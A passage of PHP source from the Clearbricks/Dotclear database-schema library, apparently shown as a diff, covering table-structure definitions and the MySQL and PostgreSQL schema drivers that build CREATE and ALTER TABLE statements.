foreach ($field_update as $tname => $fields) {
foreach ($fields as $fname => $f) {
$schema->alterField($tname, $fname, $f['type'], $f['len'], $f['null'], $f['default']);
}
}
# Create new keys
foreach ($key_create as $tname => $keys) {
foreach ($keys as $kname => $k) {
if ($k['type'] == 'primary') {
$schema->createPrimary($tname, $kname, $k['cols']);
} elseif ($k['type'] == 'unique') {
$schema->createUnique($tname, $kname, $k['cols']);
}
}
}
# Update keys
foreach ($key_update as $tname => $keys) {
foreach ($keys as $kname => $k) {
if ($k['type'] == 'primary') {
$schema->alterPrimary($tname, $kname, $k['name'], $k['cols']);
} elseif ($k['type'] == 'unique') {
$schema->alterUnique($tname, $kname, $k['name'], $k['cols']);
}
}
}
# Create indexes
foreach ($index_create as $tname => $index) {
foreach ($index as $iname => $i) {
$schema->createIndex($tname, $iname, $i['type'], $i['cols']);
}
}
# Update indexes
foreach ($index_update as $tname => $index) {
foreach ($index as $iname => $i) {
$schema->alterIndex($tname, $iname, $i['name'], $i['type'], $i['cols']);
}
}
# Create references
foreach ($reference_create as $tname => $ref) {
foreach ($ref as $rname => $r) {
$schema->createReference($rname, $tname, $r['c_cols'], $r['p_table'], $r['p_cols'], $r['update'], $r['delete']);
}
}
# Update references
foreach ($reference_update as $tname => $ref) {
foreach ($ref as $rname => $r) {
$schema->alterReference($rname, $r['name'], $tname, $r['c_cols'], $r['p_table'], $r['p_cols'], $r['update'], $r['delete']);
}
}
# Flush execution stack
$schema->flushStack();
return
count($table_create) + count($key_create) + count($index_create) + count($reference_create) + count($field_create) + count($field_update) + count($key_update) + count($index_update) + count($reference_update);
}
/**
* Gets the tables.
*
* @return array The tables.
*/
public function getTables(): array
{
$tables = [];
foreach ($this->tables as $table => $properties) {
$tables[$this->prefix . $table] = $properties;
}
return $tables;
}
/**
* Determines if table exists.
*
* @param string $name The name
*
* @return bool True if table exists, False otherwise.
*/
public function tableExists(string $name): bool
{
return isset($this->tables[$name]);
}
/**
* Check if two fields are the same
*
* @param array $dst_field The destination field
* @param array $src_field The source field
*
* @return bool
*/
private function fieldsDiffer(array $dst_field, array $src_field): bool
{
$d_type = $dst_field['type'];
$d_len = (int) $dst_field['len'];
$d_default = $dst_field['default'];
$d_null = $dst_field['null'];
$s_type = $src_field['type'];
$s_len = (int) $src_field['len'];
$s_default = $src_field['default'];
$s_null = $src_field['null'];
return $d_type != $s_type || $d_len != $s_len || $d_default != $s_default || $d_null != $s_null;
}
/**
* Check if two keys are the same
*
* @param string $dst_name The destination name
* @param array $dst_fields The destination fields
* @param string $src_name The source name
* @param array $src_fields The source fields
*
* @return bool
*/
private function keysDiffer(string $dst_name, array $dst_fields, string $src_name, array $src_fields): bool
{
return $dst_name != $src_name || $dst_fields != $src_fields;
}
/**
* Check if two indexes are the same
*
* @param string $dst_name The destination name
* @param array $dst_idx The destination index
* @param string $src_name The source name
* @param array $src_idc The source idc
*
* @return bool
*/
private function indexesDiffer(string $dst_name, array $dst_idx, string $src_name, array $src_idc): bool
{
return $dst_name != $src_name || $dst_idx['cols'] != $src_idc['cols'] || $dst_idx['type'] != $src_idc['type'];
}
/**
* Check if two references are the same
*
* @param string $dst_name The destination name
* @param array $dst_ref The destination reference
* @param string $src_name The source name
* @param array $src_ref The source reference
*
* @return bool
*/
private function referencesDiffer(string $dst_name, array $dst_ref, string $src_name, array $src_ref): bool
{
return $dst_name != $src_name || $dst_ref['c_cols'] != $src_ref['c_cols'] || $dst_ref['p_table'] != $src_ref['p_table'] || $dst_ref['p_cols'] != $src_ref['p_cols'] || $dst_ref['update'] != $src_ref['update'] || $dst_ref['delete'] != $src_ref['delete'];
}
}
/**
* @class dbStructTable
*
* @package Clearbricks
* @subpackage DBSchema
*/
class dbStructTable
{
/**
* @var string
*/
protected $name;
/**
* @var bool
*/
protected $has_primary = false;
/**
* @var array
*/
protected $fields = [];
/**
* @var array
*/
protected $keys = [];
/**
* @var array
*/
protected $indexes = [];
/**
* @var array
*/
protected $references = [];
/**
Universal data types supported by dbSchema
SMALLINT : signed 2 bytes integer
INTEGER : signed 4 bytes integer
BIGINT : signed 8 bytes integer
REAL : signed 4 bytes floating point number
FLOAT : signed 8 bytes floating point number
NUMERIC : exact numeric type
DATE : Calendar date (day, month and year)
TIME : Time of day
TIMESTAMP : Date and time
CHAR : A fixed n-length character string
VARCHAR : A variable length character string
TEXT : A variable length of text
*/
protected $allowed_types = [
'smallint', 'integer', 'bigint', 'real', 'float', 'numeric',
'date', 'time', 'timestamp',
'char', 'varchar', 'text',
];
public function __construct(string $name)
{
$this->name = $name;
}
/**
* Gets the fields.
*
* @return array The fields.
*/
public function getFields(): array
{
return $this->fields;
}
/**
* Gets the keys.
*
* @return array The keys.
*/
public function getKeys(): array
{
return $this->keys;
}
/**
* Gets the indexes.
*
* @return array The indexes.
*/
public function getIndexes(): array
{
return $this->indexes;
}
/**
* Gets the references.
*
* @return array The references.
*/
public function getReferences(): array
{
return $this->references;
}
/**
* Determines if field exists.
*
* @param string $name The name
*
* @return bool True if field exists, False otherwise.
*/
public function fieldExists(string $name): bool
{
return isset($this->fields[$name]);
}
/**
* Determines if key exists.
*
* @param string $name The name
* @param string $type The type
* @param array $fields The fields
*
* @return bool|string
*/
public function keyExists(string $name, string $type, array $fields)
{
# Look for key with the same name
if (isset($this->keys[$name])) {
return $name;
}
# Look for key with the same columns list and type
foreach ($this->keys as $key_name => $key) {
if ($key['cols'] == $fields && $key['type'] == $type) {
# Same columns and type, return new name
return $key_name;
}
}
return false;
}
/**
* Determines if index exists.
*
* @param string $name The name
* @param string $type The type
* @param array $fields The fields
*
* @return bool|string
*/
public function indexExists(string $name, string $type, array $fields)
{
# Look for key with the same name
if (isset($this->indexes[$name])) {
return $name;
}
# Look for index with the same columns list and type
foreach ($this->indexes as $index_name => $index) {
if ($index['cols'] == $fields && $index['type'] == $type) {
# Same columns and type, return new name
return $index_name;
}
}
return false;
}
/**
* Determines if reference exists.
*
* @param string $name The reference name
* @param array $local_fields The local fields
* @param string $foreign_table The foreign table
* @param array $foreign_fields The foreign fields
*
* @return bool|string
*/
public function referenceExists(string $name, array $local_fields, string $foreign_table, array $foreign_fields)
{
if (isset($this->references[$name])) {
return $name;
}
# Look for reference with same chil columns, parent table and columns
foreach ($this->references as $reference_name => $reference) {
if ($local_fields == $reference['c_cols'] && $foreign_table == $reference['p_table'] && $foreign_fields == $reference['p_cols']) {
# Only name differs, return new name
return $reference_name;
}
}
return false;
}
/**
* Define a table field
*
* @param string $name The name
* @param string $type The type
* @param int|null $len The length
* @param bool $null Null value allowed
* @param mixed $default The default value
* @param bool $to_null Set type to null if type unknown
*
* @throws Exception
*
* @return dbStructTable|self
*/
public function field(string $name, string $type, ?int $len, bool $null = true, $default = false, bool $to_null = false)
{
$type = strtolower($type);
if (!in_array($type, $this->allowed_types)) {
if ($to_null) {
$type = null;
} else {
throw new Exception('Invalid data type ' . $type . ' in schema');
}
}
$this->fields[$name] = [
'type' => $type,
'len' => (int) $len,
'default' => $default,
'null' => (bool) $null,
];
return $this;
}
/**
* Set field
*
* @param string $name The name
* @param mixed $properties The arguments
*
* @return dbStructTable|self
*/
public function __call(string $name, $properties): dbStructTable
{
return $this->field($name, ...$properties);
}
/**
* Set a primary index
*
* @param string $name The name
* @param mixed ...$fields The cols
*
* @throws Exception
*
* @return dbStructTable|self
*/
public function primary(string $name, ...$fields): dbStructTable
{
if ($this->has_primary) {
throw new Exception(sprintf('Table %s already has a primary key', $this->name));
}
return $this->newKey('primary', $name, $fields);
}
/**
* Set an unique index
*
* @param string $name The name
* @param mixed ...$fields The fields
*
* @return dbStructTable|self
*/
public function unique(string $name, ...$fields): dbStructTable
{
return $this->newKey('unique', $name, $fields);
}
/**
* Set an index
*
* @param string $name The name
* @param string $type The type
* @param mixed ...$fields The fields
*
* @return dbStructTable|self
*/
public function index(string $name, string $type, ...$fields): dbStructTable
{
$this->checkCols($fields);
$this->indexes[$name] = [
'type' => strtolower($type),
'cols' => $fields,
];
return $this;
}
/**
* Set a reference
*
* @param string $name The reference name
* @param array|string $local_fields The local fields
* @param string $foreign_table The foreign table
* @param array|string $foreign_fields The foreign fields
* @param bool|string $update The update
* @param bool|string $delete The delete
*/
public function reference(string $name, $local_fields, string $foreign_table, $foreign_fields, $update = false, $delete = false): void
{
if (!is_array($foreign_fields)) {
$foreign_fields = [$foreign_fields];
}
if (!is_array($local_fields)) {
$local_fields = [$local_fields];
}
$this->checkCols($local_fields);
$this->references[$name] = [
'c_cols' => $local_fields,
'p_table' => $foreign_table,
'p_cols' => $foreign_fields,
'update' => $update,
'delete' => $delete,
];
}
/**
* Set a new key (index)
*
* @param string $type The type
* @param string $name The name
* @param array $fields The fields
*
* @return dbStructTable|self
*/
protected function newKey(string $type, string $name, array $fields): dbStructTable
{
$this->checkCols($fields);
$this->keys[$name] = [
'type' => $type,
'cols' => $fields,
];
if ($type == 'primary') {
$this->has_primary = true;
}
return $this;
}
/**
* Ccheck if field(s) exists
*
* @param array $fields The fields
*
* @throws Exception
*/
protected function checkCols(array $fields): void
{
foreach ($fields as $field) {
if (!preg_match('/^\(.*?\)$/', $field) && !isset($this->fields[$field])) {
throw new Exception(sprintf('Field %s does not exist in table %s', $field, $this->name));
}
}
}
}

View file

@ -0,0 +1,572 @@
<?php
/**
* @class mysqlSchema
*
* @package Clearbricks
* @subpackage DBSchema
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class mysqliSchema extends dbSchema implements i_dbSchema
{
/**
* Translate DB type to universal type
*
* @param string $type The type
* @param int|null $len The length
* @param mixed $default The default valule
*
* @return string
*/
public function dbt2udt(string $type, ?int &$len, &$default): string
{
$type = parent::dbt2udt($type, $len, $default);
switch ($type) {
case 'float':
return 'real';
case 'double':
return 'float';
case 'datetime':
# DATETIME real type is TIMESTAMP
if ($default == "'1970-01-01 00:00:00'") {
# Bad hack
$default = 'now()';
}
return 'timestamp';
case 'integer':
case 'mediumint':
if ($len == 11) {
$len = 0;
}
return 'integer';
case 'bigint':
if ($len == 20) {
$len = 0;
}
break;
case 'tinyint':
case 'smallint':
if ($len == 6) {
$len = 0;
}
return 'smallint';
case 'numeric':
$len = 0;
break;
case 'tinytext':
case 'longtext':
return 'text';
}
return $type;
}
/**
* Translate universal type to DB type
*
* @param string $type The type
* @param int|null $len The length
* @param mixed $default The default value
*
* @return string
*/
public function udt2dbt(string $type, ?int &$len, &$default): string
{
$type = parent::udt2dbt($type, $len, $default);
switch ($type) {
case 'real':
return 'float';
case 'float':
return 'double';
case 'timestamp':
if ($default == 'now()') {
# MySQL does not support now() default value...
$default = "'1970-01-01 00:00:00'";
}
return 'datetime';
case 'text':
$len = 0;
return 'longtext';
}
return $type;
}
/**
* Get DB tables
*
* @return array
*/
public function db_get_tables(): array
{
$sql = 'SHOW TABLES';
$rs = $this->con->select($sql);
$res = [];
while ($rs->fetch()) {
$res[] = $rs->f(0);
}
return $res;
}
/**
* Get table fields
*
* @param string $table The table
*
* @return array Array of fields properties
*/
public function db_get_columns(string $table): array
{
$sql = 'SHOW COLUMNS FROM ' . $this->con->escapeSystem($table);
$rs = $this->con->select($sql);
$res = [];
while ($rs->fetch()) {
$field = trim($rs->f('Field'));
$type = trim($rs->f('Type'));
$null = strtolower($rs->f('Null')) == 'yes';
$default = $rs->f('Default');
$len = null;
if (preg_match('/^(.+?)\(([\d,]+)\)$/si', $type, $m)) {
$type = $m[1];
$len = (int) $m[2];
}
// $default from db is a string and is NULL in schema so upgrade failed.
if (strtoupper((string) $default) == 'NULL') {
$default = null;
} elseif ($default != '' && !is_numeric($default)) {
$default = "'" . $default . "'";
}
$res[$field] = [
'type' => $type,
'len' => $len,
'null' => $null,
'default' => $default,
];
}
return $res;
}
/**
* Get table keys
*
* @param string $table The table
*
* @return array Array of keys properties
*/
public function db_get_keys(string $table): array
{
$sql = 'SHOW INDEX FROM ' . $this->con->escapeSystem($table);
$rs = $this->con->select($sql);
$t = [];
$res = [];
while ($rs->fetch()) {
$key_name = $rs->f('Key_name');
$unique = $rs->f('Non_unique') == 0;
$seq = $rs->f('Seq_in_index');
$col_name = $rs->f('Column_name');
if ($key_name == 'PRIMARY' || $unique) {
$t[$key_name]['cols'][$seq] = $col_name;
$t[$key_name]['unique'] = $unique;
}
}
foreach ($t as $name => $idx) {
ksort($idx['cols']);
$res[] = [
'name' => $name,
'primary' => $name == 'PRIMARY',
'unique' => $idx['unique'],
'cols' => array_values($idx['cols']),
];
}
return $res;
}
/**
* Get table's indexes
*
* @param string $table The table
*
* @return array Array of indexes properties
*/
public function db_get_indexes(string $table): array
{
$sql = 'SHOW INDEX FROM ' . $this->con->escapeSystem($table);
$rs = $this->con->select($sql);
$t = [];
$res = [];
while ($rs->fetch()) {
$key_name = $rs->f('Key_name');
$unique = $rs->f('Non_unique') == 0;
$seq = $rs->f('Seq_in_index');
$col_name = $rs->f('Column_name');
$type = $rs->f('Index_type');
if ($key_name != 'PRIMARY' && !$unique) {
$t[$key_name]['cols'][$seq] = $col_name;
$t[$key_name]['type'] = $type;
}
}
foreach ($t as $name => $idx) {
ksort($idx['cols']);
$res[] = [
'name' => $name,
'type' => $idx['type'],
'cols' => $idx['cols'],
];
}
return $res;
}
/**
* Get references
*
* @param string $table The table
*
* @return array Array of reference's properties
*/
public function db_get_references(string $table): array
{
$sql = 'SHOW CREATE TABLE ' . $this->con->escapeSystem($table);
$rs = $this->con->select($sql);
$s = $rs->f(1);
$res = [];
$n = preg_match_all('/^\s*CONSTRAINT\s+`(.+?)`\s+FOREIGN\s+KEY\s+\((.+?)\)\s+REFERENCES\s+`(.+?)`\s+\((.+?)\)(.*?)$/msi', $s, $match);
if ($n > 0) {
foreach ($match[1] as $i => $name) {
# Columns transformation
$t_cols = str_replace('`', '', $match[2][$i]);
$t_cols = explode(',', $t_cols);
$r_cols = str_replace('`', '', $match[4][$i]);
$r_cols = explode(',', $r_cols);
# ON UPDATE|DELETE
$on = trim((string) $match[5][$i], ', ');
$on_delete = null;
$on_update = null;
if ($on != '') {
if (preg_match('/ON DELETE (.+?)(?:\s+ON|$)/msi', $on, $m)) {
$on_delete = strtolower(trim((string) $m[1]));
}
if (preg_match('/ON UPDATE (.+?)(?:\s+ON|$)/msi', $on, $m)) {
$on_update = strtolower(trim((string) $m[1]));
}
}
$res[] = [
'name' => $name,
'c_cols' => $t_cols,
'p_table' => $match[3][$i],
'p_cols' => $r_cols,
'update' => $on_update,
'delete' => $on_delete,
];
}
}
return $res;
}
/**
* Create a table
*
* @param string $name The name
* @param array $fields The fields
*/
public function db_create_table(string $name, array $fields): void
{
$a = [];
foreach ($fields as $n => $f) {
$type = $f['type'];
$len = (int) $f['len'];
$default = $f['default'];
$null = $f['null'];
$type = $this->udt2dbt($type, $len, $default);
$len = $len > 0 ? '(' . $len . ')' : '';
$null = $null ? 'NULL' : 'NOT NULL';
if ($default === null) {
$default = 'DEFAULT NULL';
} elseif ($default !== false) {
$default = 'DEFAULT ' . $default . ' ';
} else {
$default = '';
}
$a[] = $this->con->escapeSystem($n) . ' ' .
$type . $len . ' ' . $null . ' ' . $default;
}
$sql = 'CREATE TABLE ' . $this->con->escapeSystem($name) . " (\n" .
implode(",\n", $a) .
"\n) ENGINE=InnoDB CHARACTER SET utf8 COLLATE utf8_bin ";
$this->con->execute($sql);
}
/**
* Create a field
*
* @param string $table The table
* @param string $name The name
* @param string $type The type
* @param int|null $len The length
* @param bool $null The null
* @param mixed $default The default
*/
public function db_create_field(string $table, string $name, string $type, ?int $len, bool $null, $default): void
{
$type = $this->udt2dbt($type, $len, $default);
if ($default === null) {
$default = 'DEFAULT NULL';
} elseif ($default !== false) {
$default = 'DEFAULT ' . $default;
} else {
$default = '';
}
$sql = 'ALTER TABLE ' . $this->con->escapeSystem($table) . ' ADD COLUMN ' . $this->con->escapeSystem($name) . ' ' . $type . ((int) $len > 0 ? '(' . (int) $len . ')' : '') . ' ' . ($null ? 'NULL' : 'NOT NULL') . ' ' . $default;
$this->con->execute($sql);
}
/**
* Create a primary key
*
* @param string $table The table
* @param string $name The name
* @param array $fields The cols
*/
public function db_create_primary(string $table, string $name, array $fields): void
{
$c = array_map(fn ($field) => $this->con->escapeSystem($field), $fields);
$sql = 'ALTER TABLE ' . $this->con->escapeSystem($table) . ' ' .
'ADD CONSTRAINT PRIMARY KEY (' . implode(',', $c) . ') ';
$this->con->execute($sql);
}
/**
* Create a unique key
*
* @param string $table The table
* @param string $name The name
* @param array $fields The fields
*/
public function db_create_unique(string $table, string $name, array $fields): void
{
$c = array_map(fn ($field) => $this->con->escapeSystem($field), $fields);
$sql = 'ALTER TABLE ' . $this->con->escapeSystem($table) . ' ' .
'ADD CONSTRAINT UNIQUE KEY ' . $this->con->escapeSystem($name) . ' ' .
'(' . implode(',', $c) . ') ';
$this->con->execute($sql);
}
/**
* Create an index
*
* @param string $table The table
* @param string $name The name
* @param string $type The type
* @param array $fields The fields
*/
public function db_create_index(string $table, string $name, string $type, array $fields): void
{
$c = array_map(fn ($field) => $this->con->escapeSystem($field), $fields);
$sql = 'ALTER TABLE ' . $this->con->escapeSystem($table) . ' ' .
'ADD INDEX ' . $this->con->escapeSystem($name) . ' USING ' . $type . ' ' .
'(' . implode(',', $c) . ') ';
$this->con->execute($sql);
}
/**
* Create a reference
*
* @param string $name The name
* @param string $table The table
* @param array $fields The fields
* @param string $foreign_table The foreign table
* @param array $foreign_fields The foreign fields
* @param string|bool $update The update
* @param string|bool $delete The delete
*/
public function db_create_reference(string $name, string $table, array $fields, string $foreign_table, array $foreign_fields, $update, $delete): void
{
$c = array_map(fn ($field) => $this->con->escapeSystem($field), $fields);
$p = array_map(fn ($field) => $this->con->escapeSystem($field), $foreign_fields);
$sql = 'ALTER TABLE ' . $this->con->escapeSystem($table) . ' ' .
'ADD CONSTRAINT ' . $name . ' FOREIGN KEY ' .
'(' . implode(',', $c) . ') ' .
'REFERENCES ' . $this->con->escapeSystem($foreign_table) . ' ' .
'(' . implode(',', $p) . ') ';
if ($update) {
$sql .= 'ON UPDATE ' . $update . ' ';
}
if ($delete) {
$sql .= 'ON DELETE ' . $delete . ' ';
}
$this->con->execute($sql);
}
/**
* Modify a field
*
* @param string $table The table
* @param string $name The name
* @param string $type The type
* @param int|null $len The length
* @param bool $null The null
* @param mixed $default The default
*/
public function db_alter_field(string $table, string $name, string $type, ?int $len, bool $null, $default): void
{
$type = $this->udt2dbt($type, $len, $default);
if ($default === null) {
$default = 'DEFAULT NULL';
} elseif ($default !== false) {
$default = 'DEFAULT ' . $default;
} else {
$default = '';
}
$sql = 'ALTER TABLE ' . $this->con->escapeSystem($table) . ' ' .
'CHANGE COLUMN ' . $this->con->escapeSystem($name) . ' ' . $this->con->escapeSystem($name) . ' ' . $type . ($len > 0 ? '(' . $len . ')' : '') . ' ' . ($null ? 'NULL' : 'NOT NULL') . ' ' . $default;
$this->con->execute($sql);
}
/**
* Modify a primary key
*
* @param string $table The table
* @param string $name The name
* @param string $newname The newname
* @param array $fields The cols
*/
public function db_alter_primary(string $table, string $name, string $newname, array $fields): void
{
$c = array_map(fn ($field) => $this->con->escapeSystem($field), $fields);
$sql = 'ALTER TABLE ' . $this->con->escapeSystem($table) . ' ' .
'DROP PRIMARY KEY, ADD PRIMARY KEY ' .
'(' . implode(',', $c) . ') ';
$this->con->execute($sql);
}
/**
* Modify a unique key
*
* @param string $table The table
* @param string $name The name
* @param string $newname The newname
* @param array $fields The fields
*/
public function db_alter_unique(string $table, string $name, string $newname, array $fields): void
{
$c = array_map(fn ($field) => $this->con->escapeSystem($field), $fields);
$sql = 'ALTER TABLE ' . $this->con->escapeSystem($table) . ' ' .
'DROP INDEX ' . $this->con->escapeSystem($name) . ', ' .
'ADD UNIQUE ' . $this->con->escapeSystem($newname) . ' ' .
'(' . implode(',', $c) . ') ';
$this->con->execute($sql);
}
/**
* Modify an index
*
* @param string $table The table
* @param string $name The name
* @param string $newname The newname
* @param string $type The type
* @param array $fields The fields
*/
public function db_alter_index(string $table, string $name, string $newname, string $type, array $fields): void
{
$c = array_map(fn ($field) => $this->con->escapeSystem($field), $fields);
$sql = 'ALTER TABLE ' . $this->con->escapeSystem($table) . ' ' .
'DROP INDEX ' . $this->con->escapeSystem($name) . ', ' .
'ADD INDEX ' . $this->con->escapeSystem($newname) . ' ' .
'USING ' . $type . ' ' .
'(' . implode(',', $c) . ') ';
$this->con->execute($sql);
}
/**
* Modify a reference
*
* @param string $name The name
* @param string $newname The newname
* @param string $table The table
* @param array $fields The fields
* @param string $foreign_table The foreign table
* @param array $foreign_fields The foreign fields
* @param bool|string $update The update
* @param bool|string $delete The delete
*/
public function db_alter_reference(string $name, string $newname, string $table, array $fields, string $foreign_table, array $foreign_fields, $update, $delete): void
{
$sql = 'ALTER TABLE ' . $this->con->escapeSystem($table) . ' ' .
'DROP FOREIGN KEY ' . $this->con->escapeSystem($name);
$this->con->execute($sql);
$this->createReference($newname, $table, $fields, $foreign_table, $foreign_fields, $update, $delete);
}
/**
* Remove a unique key
*
* @param string $table The table
* @param string $name The name
*/
public function db_drop_unique(string $table, string $name): void
{
$sql = 'ALTER TABLE ' . $this->con->escapeSystem($table) . ' ' .
'DROP INDEX ' . $this->con->escapeSystem($name);
$this->con->execute($sql);
}
}

View file

@ -0,0 +1,53 @@
<?php
/**
* @class mysqlimb4Schema
*
* @package Clearbricks
* @subpackage DBSchema
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
require_once 'class.mysqli.dbschema.php';
class mysqlimb4Schema extends mysqliSchema
{
/**
* Create a table
*
* @param string $name The name
* @param array $fields The fields
*/
public function db_create_table(string $name, array $fields): void
{
$a = [];
foreach ($fields as $n => $f) {
$type = $f['type'];
$len = (int) $f['len'];
$default = $f['default'];
$null = $f['null'];
$type = $this->udt2dbt($type, $len, $default);
$len = $len > 0 ? '(' . $len . ')' : '';
$null = $null ? 'NULL' : 'NOT NULL';
if ($default === null) {
$default = 'DEFAULT NULL';
} elseif ($default !== false) {
$default = 'DEFAULT ' . $default . ' ';
} else {
$default = '';
}
$a[] = $this->con->escapeSystem($n) . ' ' .
$type . $len . ' ' . $null . ' ' . $default;
}
$sql = 'CREATE TABLE ' . $this->con->escapeSystem($name) . " (\n" .
implode(",\n", $a) .
"\n) ENGINE=InnoDB CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci";
$this->con->execute($sql);
}
}

View file

@ -0,0 +1,490 @@
<?php
/**
* @class pgsqlSchema
*
* @package Clearbricks
* @subpackage DBSchema
*
* @copyright Olivier Meunier & Association Dotclear
* @copyright GPL-2.0-only
*/
class pgsqlSchema extends dbSchema implements i_dbSchema
{
protected $ref_actions_map = [
'a' => 'no action',
'r' => 'restrict',
'c' => 'cascade',
'n' => 'set null',
'd' => 'set default',
];
/**
* Get DB tables
*
* @return array
*/
public function db_get_tables(): array
{
$sql = 'SELECT table_name ' .
'FROM information_schema.tables ' .
'WHERE table_schema = current_schema() ';
$rs = $this->con->select($sql);
$res = [];
while ($rs->fetch()) {
$res[] = $rs->f(0);
}
return $res;
}
/**
* Get table's fields
*
* @param string $table The table
*
* @return array Array of fields properties
*/
public function db_get_columns(string $table): array
{
$sql = 'SELECT column_name, udt_name, character_maximum_length, ' .
'is_nullable, column_default ' .
'FROM information_schema.columns ' .
"WHERE table_name = '" . $this->con->escape($table) . "' ";
$rs = $this->con->select($sql);
$res = [];
while ($rs->fetch()) {
$field = trim($rs->column_name);
$type = trim($rs->udt_name);
$null = strtolower($rs->is_nullable) == 'yes';
$default = $rs->column_default;
$len = $rs->character_maximum_length;
if ($len == '') {
$len = null;
}
$default = preg_replace('/::([\w\d\s]*)$/', '', $default);
$default = preg_replace('/^\((-?\d*)\)$/', '$1', $default);
// $default from db is a string and is NULL in schema so upgrade failed.
if (strtoupper((string) $default) == 'NULL') {
$default = null;
}
$res[$field] = [
'type' => $type,
'len' => $len,
'null' => $null,
'default' => $default,
];
}
return $res;
}
/**
* Get tables keys
*
* @param string $table The table
*
* @return array Array of keys properties
*/
public function db_get_keys(string $table): array
{
$sql = 'SELECT DISTINCT ON(cls.relname) cls.oid, cls.relname as idxname, indisunique::integer, indisprimary::integer, ' .
'indnatts, tab.relname as tabname, contype, amname ' .
'FROM pg_index idx ' .
'JOIN pg_class cls ON cls.oid=indexrelid ' .
'JOIN pg_class tab ON tab.oid=indrelid ' .
'LEFT OUTER JOIN pg_tablespace ta on ta.oid=cls.reltablespace ' .
'JOIN pg_namespace n ON n.oid=tab.relnamespace ' .
'JOIN pg_am am ON am.oid=cls.relam ' .
"LEFT JOIN pg_depend dep ON (dep.classid = cls.tableoid AND dep.objid = cls.oid AND dep.refobjsubid = '0') " .
'LEFT OUTER JOIN pg_constraint con ON (con.tableoid = dep.refclassid AND con.oid = dep.refobjid) ' .
'LEFT OUTER JOIN pg_description des ON des.objoid=con.oid ' .
'LEFT OUTER JOIN pg_description desp ON (desp.objoid=con.oid AND desp.objsubid = 0) ' .
"WHERE tab.relname = '" . $this->con->escape($table) . "' " .
"AND contype IN ('p','u') " .
'ORDER BY cls.relname ';
$rs = $this->con->select($sql);
$res = [];
while ($rs->fetch()) {
$k = [
'name' => $rs->idxname,
'primary' => (bool) $rs->indisprimary,
'unique' => (bool) $rs->indisunique,
'cols' => [],
];
for ($i = 1; $i <= $rs->indnatts; $i++) {
$cols = $this->con->select('SELECT pg_get_indexdef(' . $rs->oid . '::oid, ' . $i . ', true);');
$k['cols'][] = $cols->f(0);
}
$res[] = $k;
}
return $res;
}
/**
* Get table's indexes
*
* @param string $table The table
*
* @return array Array of indexes properties
*/
public function db_get_indexes(string $table): array
{
$sql = 'SELECT DISTINCT ON(cls.relname) cls.oid, cls.relname as idxname, n.nspname, ' .
'indnatts, tab.relname as tabname, contype, amname ' .
'FROM pg_index idx ' .
'JOIN pg_class cls ON cls.oid=indexrelid ' .
'JOIN pg_class tab ON tab.oid=indrelid ' .
'LEFT OUTER JOIN pg_tablespace ta on ta.oid=cls.reltablespace ' .
'JOIN pg_namespace n ON n.oid=tab.relnamespace ' .
'JOIN pg_am am ON am.oid=cls.relam ' .
"LEFT JOIN pg_depend dep ON (dep.classid = cls.tableoid AND dep.objid = cls.oid AND dep.refobjsubid = '0') " .
'LEFT OUTER JOIN pg_constraint con ON (con.tableoid = dep.refclassid AND con.oid = dep.refobjid) ' .
'LEFT OUTER JOIN pg_description des ON des.objoid=con.oid ' .
'LEFT OUTER JOIN pg_description desp ON (desp.objoid=con.oid AND desp.objsubid = 0) ' .
"WHERE tab.relname = '" . $this->con->escape($table) . "' " .
'AND conname IS NULL ' .
'ORDER BY cls.relname ';
$rs = $this->con->select($sql);
$res = [];
while ($rs->fetch()) {
$k = [
'name' => $rs->idxname,
'type' => $rs->amname,
'cols' => [],
];
for ($i = 1; $i <= $rs->indnatts; $i++) {
$cols = $this->con->select('SELECT pg_get_indexdef(' . $rs->oid . '::oid, ' . $i . ', true);');
$k['cols'][] = $cols->f(0);
}
$res[] = $k;
}
return $res;
}
/**
* Get references
*
* @param string $table The table
*
* @return array Array of references properties
*/
public function db_get_references(string $table): array
{
$sql = 'SELECT ct.oid, conname, condeferrable, condeferred, confupdtype, ' .
'confdeltype, confmatchtype, conkey, confkey, conrelid, confrelid, cl.relname as fktab, ' .
'cr.relname as reftab ' .
'FROM pg_constraint ct ' .
'JOIN pg_class cl ON cl.oid=conrelid ' .
'JOIN pg_namespace nl ON nl.oid=cl.relnamespace ' .
'JOIN pg_class cr ON cr.oid=confrelid ' .
'JOIN pg_namespace nr ON nr.oid=cr.relnamespace ' .
"WHERE contype='f' " .
"AND cl.relname = '" . $this->con->escape($table) . "' " .
'ORDER BY conname ';
$rs = $this->con->select($sql);
$cols_sql = 'SELECT a1.attname as conattname, a2.attname as confattname ' .
'FROM pg_attribute a1, pg_attribute a2 ' .
'WHERE a1.attrelid=%1$s::oid AND a1.attnum=%2$s ' .
'AND a2.attrelid=%3$s::oid AND a2.attnum=%4$s ';
$res = [];
while ($rs->fetch()) {
$conkey = preg_replace('/[^\d]/', '', $rs->conkey);
$confkey = preg_replace('/[^\d]/', '', $rs->confkey);
$k = [
'name' => $rs->conname,
'c_cols' => [],
'p_table' => $rs->reftab,
'p_cols' => [],
'update' => $this->ref_actions_map[$rs->confupdtype],
'delete' => $this->ref_actions_map[$rs->confdeltype],
];
$cols = $this->con->select(sprintf($cols_sql, $rs->conrelid, $conkey, $rs->confrelid, $confkey));
while ($cols->fetch()) {
$k['c_cols'][] = $cols->conattname;
$k['p_cols'][] = $cols->confattname;
}
$res[] = $k;
}
return $res;
}
/**
* Create a table
*
* @param string $name The name
* @param array $fields The fields
*/
public function db_create_table(string $name, array $fields): void
{
$a = [];
foreach ($fields as $n => $f) {
$type = $f['type'];
$len = (int) $f['len'];
$default = $f['default'];
$null = $f['null'];
$type = $this->udt2dbt($type, $len, $default);
$len = $len > 0 ? '(' . $len . ')' : '';
$null = $null ? 'NULL' : 'NOT NULL';
if ($default === null) {
$default = 'DEFAULT NULL';
} elseif ($default !== false) {
$default = 'DEFAULT ' . $default . ' ';
} else {
$default = '';
}
$a[] = $n . ' ' .
$type . $len . ' ' . $null . ' ' . $default;
}
$sql = 'CREATE TABLE ' . $this->con->escapeSystem($name) . " (\n" .
implode(",\n", $a) .
"\n)";
$this->con->execute($sql);
}
/**
* Create a field
*
* @param string $table The table
* @param string $name The name
* @param string $type The type
* @param int|null $len The length
* @param bool $null The null
* @param mixed $default The default value
*/
public function db_create_field(string $table, string $name, string $type, ?int $len, bool $null, $default): void
{
$type = $this->udt2dbt($type, $len, $default);
var_dump($default);
if ($default === null) {
$default = 'DEFAULT NULL';
